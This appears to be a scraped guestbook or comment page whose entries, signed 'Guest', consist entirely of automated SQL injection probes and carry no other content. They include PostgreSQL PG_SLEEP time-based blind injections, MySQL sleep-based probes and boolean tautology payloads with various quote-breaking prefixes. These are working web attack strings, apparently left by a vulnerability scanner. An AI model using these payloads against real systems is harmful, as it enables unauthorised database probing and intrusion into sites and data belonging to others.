Guest:
1zrEfEm7n') OR 827=(SELECT 827 FROM PG_SLEEP(15))--


Guest:
1zrEfEm7n') OR 827=(SELECT 827 FROM PG_SLEEP(15))--


Guest:
1zrEfEm7n') OR 827=(SELECT 827 FROM PG_SLEEP(15))--


-1 OR 2+27-27-1=0+0+0+1 --

-1 OR 2+286-286-1=0+0+0+1

-1' OR 2+343-343-1=0+0+0+1 --

-1' OR 2+640-640-1=0+0+0+1 or 'zlJSq8Gn'='

-1" OR 2+214-214-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1zrEfEm7n') OR 827=(SELECT 827 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z